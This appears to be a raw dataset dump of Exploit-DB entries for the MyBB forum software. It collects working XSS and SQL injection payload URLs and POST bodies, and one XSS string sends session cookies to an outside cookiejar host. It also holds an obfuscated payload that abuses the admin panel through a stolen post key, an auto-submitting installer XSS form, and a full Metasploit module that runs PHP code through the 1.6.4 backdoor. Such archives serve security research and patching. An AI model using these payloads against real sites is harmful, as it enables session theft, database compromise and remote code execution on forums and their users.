deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27633
Description: MyBB 1.10 - 'member.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-12
Author: o.y.6

Exploit:
source: https://www.securityfocus.com/bid/17492/info

MyBB is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.10 is vulnerable; other versions may also be affected.

http://www.example.com/mybb/member.php?action=do_login&username=[usrname]&password=[pass]&url="><script>alert(1);</script>
Exploit-DB #31034
Description: MyBB 1.2.10 - 'moderation.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-01-16
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/27323/info

MyBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to MyBB 1.2.11 are vulnerable. 

http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_mergeposts&mergepost[-1]=1&mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)+FROM+mybb_users+LIMIT+0,1),3,4,1,6,7/*]=2
http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=allreports&rid=0'+UNION+SELECT+waraxe--+
http://www.example.com/mybb.1.2.10/moderation.php?fid=2&action=do_multimovethreads&moveto=2&threads=war|axe
Exploit-DB #33439
Description: MyBB 1.4.10 - 'myps.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-24
Author: Steven Abbagnaro

Exploit:
source: https://www.securityfocus.com/bid/37464/info

MyBB is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

MyBB 1.4.10 is vulnerable; other versions may be affected as well.

http://www.example.com/myps.php?action=donate&username="/>

http://www.example.com/myps.php?action=donate&username=<IMG""">">
Exploit-DB #35108
Description: MyBB 1.4.10 - 'tags.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-12
Author: TEAMELITE

Exploit:
source: https://www.securityfocus.com/bid/45388/info

MyBB is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

MyBB 1.6 is vulnerable; other versions may be also be affected. 

http://www.example.com/tags.php?tag="><script>alert(String.fromCharCode(88,83,83))</script>
Exploit-DB #32535
Description: MyBB 1.4.2 - 'moderation.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-27
Author: Kellanved

Exploit:
source: https://www.securityfocus.com/bid/31935/info

MyBB is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MyBB 1.4.2 is vulnerable; other versions may also be affected. 

http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url='%2Balert('XSS!')// http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%20%2B%27http://www.example2.com/cookiejar.php?c=%27%2Bdocument.cookie// http://www.example.com/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%2Beval(%22u%3D%27application%2Fx-www-%27%2B%20%27form-urlencoded%27%22%2B%20String.fromCharCode(59)%20%2B%22c%3D%27Content-type%27%22%2B%20String.fromCharCode(59)%20%2B%22d%3D%27Content-length%27%22%2B%20String.fromCharCode(59)%20%2B%22reg%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22reg.open(%27GET%27%2C%20%27http%3A%2F%2Fwww.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%2C%20false)%22%2B%20String.fromCharCode(59)%20%2B%22reg.send(null)%22%2B%20String.fromCharCode(59)%20%2B%22r%3Dreg.responseText%22%2B%20String.fromCharCode(59)%20%2B%22t%3D%27http%3A%2F%2Fwww.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%22%2B%20String.fromCharCode(59)%20%2B%22t2%3D%27%26replacement%3D%241%26active%3D1%26my_post%22%20%20%20%20%2B%22_key%3D%27%2Br.substr(r.indexOf(%27my_post_%22%20%2B%22key%27%2B%20%27%27) %2B15%2C32)%22%2F*%20%20%20%20%20%20*%2F%2B%22%20%2B%27%26title%3DPwned%26description%27%2B%20%27%3Dfoo%26regex%3D%22%20%20%20%20%20%20%20%2B%22evil(.*)evil%2523e%2500test%27%22%2B%20String.fromCharCode(59)%20%2B%22r2%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22r2.open(%27POST%27%2Ct%2Cfalse)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(d%2Ct2.length)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(c%2Cu)%22%2B%20String.fromCharCode(59)%20%2B%22r2.sendAsBinary(t2)%22%2B%20String.fromCharCode(59))//
Exploit-DB #32966
Description: MyBB 1.4.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-03
Author: Jacques Copeau

Exploit:
source: https://www.securityfocus.com/bid/34798/info

MyBB is prone to multiple security vulnerabilities, including an HTML-injection issue and an unspecified issue.

An attacker may leverage the HTML-injection issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and to launch other attacks.

MyBB 1.4.5 is vulnerable; other versions may also be affected.

http://www.example.com/somefile.png?"><script>alert('xss')</script>
Exploit-DB #33232
Description: MyBB 1.4.8 - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-19
Author: $qL_DoCt0r

Exploit:
source: https://www.securityfocus.com/bid/36460/info

MyBB is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MyBB 1.4.8 is vulnerable; other versions may also be affected.

The following examples are available:

simple query: ' or 1=1--
blind query: ' having 1=1--
Exploit-DB #35559
Description: MyBB 1.4/1.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-04
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/47131/info

MyBB is prone to multiple security vulnerabilities. These vulnerabilities include a username-enumeration weakness, an XML-injection vulnerability, and a cross-site scripting vulnerability.

Exploiting these issues may allow attackers to discern valid usernames, which may aid them in brute-force password cracking or other attacks. Attacker-supplied XML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user.

Versions prior to 1.6.2 and 1.4.15 are vulnerable. 

XML-injection:
http://www.example.com/xmlhttp.php?action=username_exists&value=%3Cxml/%3E

XSS:
http://www.example.com/xmlhttp.php?action=username_exists&value=%3Cdiv%20xmlns=%22http://www.w3.org/1999/xhtml%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C/div%3E
Exploit-DB #35141
Description: MyBB 1.6 - 'private.php?keywords' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-23
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/45565/info
 
MyBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
MyBB 1.6 is vulnerable; other versions may also be affected. 

POST /mybb/private.php

my_post_key=&keywords='+or+'a'+'a&quick_search=Search+PMs&allbox=Check+All&fromfid=0&fid=4&jumpto=4&action=do_stuff
Exploit-DB #35140
Description: MyBB 1.6 - 'search.php?keywords' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-23
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/45565/info

MyBB is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MyBB 1.6 is vulnerable; other versions may also be affected. 

POST /mybb/search.php

action=do_search&forums=2&keywords='+or+'a'+'a&postthread=1
Exploit-DB #15325
Description: MyBB 1.6 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2010-10-27
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22654
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_mybb.html
Product: MyBB
Vendor: MyBB ( http://www.mybb.com ) 
Vulnerable Version: 1.6 
Vendor Notification: 13 October 2010 
Vulnerability Type: Path disclosure
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/forumdisplay.php" script to properly sanitize user-supplied input in mybb[forumread] variable from cookie, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.


Cookie: mybb[forumread]=%4f%3a%31%3a%22%31%22%3a%31%3a%7b%73%3a%31%3a%22%31%22%3b%61%3a%32%3a%7b%69%3a%30%3b%73%3a%31%3a%22%31%22%3b%69%3a%31%3b%73%3a%31%3a%22%32%22%3b%7d%7d;
Exploit-DB #17949
Description: MyBB 1.6.4 - Backdoor Access (Metasploit)
Type: webapps
Platform: php
Date: 2011-10-09
Author: Metasploit

Exploit:
##
# $Id: mybb_backdoor.rb 13838 2011-10-09 03:22:07Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'myBB 1.6.4 Backdoor Exploit',
			'Description'    => %q{
					myBB is a popular open source PHP forum software. Version 1.6.4 contained an 
					unauthorized backdoor, distributed as part of the vendor's source package.
			},
			'Author'	=>
				[
					'tdz',
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13838 $',
			'References'     =>
				[
					[ 'BID', '49993'  ],
					[ 'SECUNIA', '46300' ],
					[ 'URL', 'http://blog.mybb.com/2011/10/06/1-6-4-security-vulnerabilit/' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'Space'       => 4000,
					'DisableNops' => true,
					'Keys'        => ['php'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 06 2011'
			))

			register_options(
				[
					OptString.new('URI',	[ true, "myBB path", '/index.php']),
				], self.class)
	end


	def uri
		datastore['URI']
	end

	def check
		print_status("Checking target")
		res = send_request_raw(
			{'method' => 'GET',
			'uri' => uri},
			10
		)
		if (not res) or (not res.code.between?(200,299))
			return Exploit::CheckCode::Safe
		else
			return Exploit::CheckCoke::Detected
		end
	end

	def exploit
	
		print_status("Sending exploit request")

		# See the patch at http://blog.mybb.com/wp-content/uploads/2011/10/mybb_1604_patches.txt
		# for details of the backdoor mechanism. 
		cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"
		cookie << Rex::Text.uri_encode(payload.encoded)
		
		response = send_request_raw({
			'method'  => 'GET',
			'global' => true,
			'uri' => uri,
			'headers' =>
				{
					'Cookie' => cookie,
				}
		},10)

		if (not response) or (not response.code.between?(200,299))
			print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."
		else
			handler
		end

	end
end
Exploit-DB #37019
Description: MyBB 1.6.6 - 'index.php?conditions[usergroup][]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-27
Author: Aditya Modha

Exploit:
source: https://www.securityfocus.com/bid/52743/info
 
MyBB is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.
 
Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
MyBB 1.6.6 is vulnerable; other versions may also be affected. 

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=[PII_REDACTED]; mybb[lastactive]=[PII_REDACTED]; mybb[referrer]=1; loginattempts=1; 
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; 
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2<script>document.write(Date())</script>&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=
&conditions%5Baim%5D=&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card
Exploit-DB #37018
Description: MyBB 1.6.6 - 'index.php?conditions[usergroup][]' SQL Injection
Type: webapps
Platform: php
Date: 2013-03-27
Author: Aditya Modha

Exploit:
source: https://www.securityfocus.com/bid/52743/info

MyBB is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

MyBB 1.6.6 is vulnerable; other versions may also be affected. 

POST /mybb/admin/index.php?module=user-users&action=search HTTP/1.1
Host: 192.168.7.5
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:10.0) Gecko/20100101 Firefox/10.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.7.5/mybb/admin/index.php?module=user-users&action=search
Cookie: mybb[lastvisit]=[PII_REDACTED]; mybb[lastactive]=[PII_REDACTED]; mybb[referrer]=1; loginattempts=1; 
adminsid=a82d27dd72efdb0a99c009db7701e847; acploginattempts=0; mybbuser=1_CAo7pz2wUvHGtlJht9OLGyXG8ZVbS78xAXx6ZTzBrvNSe5S2GM; 
sid=d725ac10b7d8f0f8765dfa73f5dcf23b
Content-Type: application/x-www-form-urlencoded
Content-Length: 638

my_post_key=5dbe489b5b03d9d9e2d387ff9267567d&conditions%5Busername%5D=aditya&conditions%5Bemail%5D=aditya
&conditions%5Busergroup%5D%5B%5D=2'&conditions%5Bwebsite%5D=&conditions%5Bicq%5D=&conditions%5Baim%5D=
&conditions%5Byahoo%5D=&conditions%5Bmsn%5D=&conditions%5Bsignature%5D=&conditions%5Busertitle%5D=
&conditions%5Bpostnum_dir%5D=greater_than&conditions%5Bpostnum%5D=&conditions%5Bregdate%5D=
&conditions%5Bregip%5D=&conditions%5Blastip%5D=&conditions%5Bpostip%5D=&profile_fields%5Bfid3%5D%5Bfid3%5D=N%2FA
&profile_fields%5Bfid1%5D=&profile_fields%5Bfid2%5D=&sortby=username&order=asc&perpage=&displayas=card
Exploit-DB #37355
Description: MyBB 1.6.8 - 'member.php' SQL Injection
Type: webapps
Platform: php
Date: 2012-06-06
Author: MR.XpR

Exploit:
source: https://www.securityfocus.com/bid/53814/info

MyBB is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

MyBB 1.6.8 is vulnerable; other versions may also be affected. 

http://www.example.com/forums/member.php?action=profile&uid=[Sqli]
Exploit-DB #23781
Description: MyBB 1.6.9 - 'editpost.php?posthash' Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-12-31
Author: Joshua Rogers

Exploit:
MyBB <1.6.9 is vulnerable to Stored, Error based, SQL Injection.

Vulnerable code:

/editpost.php

===
Line 398
===
$posthash_query = "posthash='{$posthash}' OR ";
===


It can be done by using Tamper Data(Or Live HTTP Headers), and when
submitting a post, edit the 'posthash' POST parameter to your payload,
submitting, then going to edit your post.


Small "HOWTO" in picture: http://imgur.com/a/JxfEI

This bug was not found by me, but afaik, I am the first one to release it.


-- 
*Joshua Rogers* - Retro Game Collector && IT Security Specialist
gpg pubkey <http://www.internot.info/docs/gpg_pubkey.asc.gpg>
Exploit-DB #34381
Description: MyBB 1.8 Beta 3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-08-21
Author: DemoLisH B3yaZ

Exploit:
# Title: MyBB 1.8 Beta 3 - Cross Site Scripting & SQL Injection
# Google Dork: intext:"Powered By MyBB"
# Date: 15.08.2014
# Author: DemoLisH
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://www.mybb.com/downloads
# Version: 1.8 - Beta 3
# Contact: onur@b3yaz.org
***************************************************
a) Cross Site Scripting in Installation Wizard ( Board Configuration )
Fill -Forum Name, Website Name, Website URL- with your code, for example - "><script>alert('DemoLisH')</script>localhost/install/index.php
Now let's finish setup and go to the homepage.


b) SQL Injection in Private Messages ( User CP )
Go to -> Inbox, for example:localhost/private.php
Search at the following code Keywords:<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload


c) SQL Injection in Showthread
Go to -> Show Thread, for example:localhost/showthread.php?tid=1
Search at the following code Keywords:<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload


d) SQL Injection in Search
Go to -> Search, for example:localhost/search.php
Search at the following code Keywords:<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload


e) SQL Injection in Help Documents
Go to -> Help Documents, for example:localhost/misc.php?action=help
Search at the following code Keywords:<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload


f) SQL Injection in Forum Display
Go to -> Forum Display, for example:localhost/forumdisplay.php?fid=2
Search at the following code "Search this Forum":<foo> <h1> <script> alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload

***************************************************
[~#~] Thanks To:Mugair, X-X-X, PoseidonKairos, DexmoD, Micky and all TurkeySecurity Members.
Exploit-DB #43137
Description: MyBB 1.8.13 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-11-11
Author: Pabstersac

Exploit:
# Exploit Title: XSS in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781

No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.

The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.

It is a POST XSS and this is a PoC:
<form name="x" action="http://target.com/install/index.php" method="post">

<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">

</form>

<script>document.x.submit();</script>

Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.

A simple fix would be to change the function error_list($array) to:
function error_list($array)
{
 $string = "<ul>\n";
 foreach($array as $error)
 {
            $string .= "<li>";
            $string .= htmlspecialchars($error);
            $string .= "</li>";
 }
 $string .= "</ul>\n";
 return $string;
}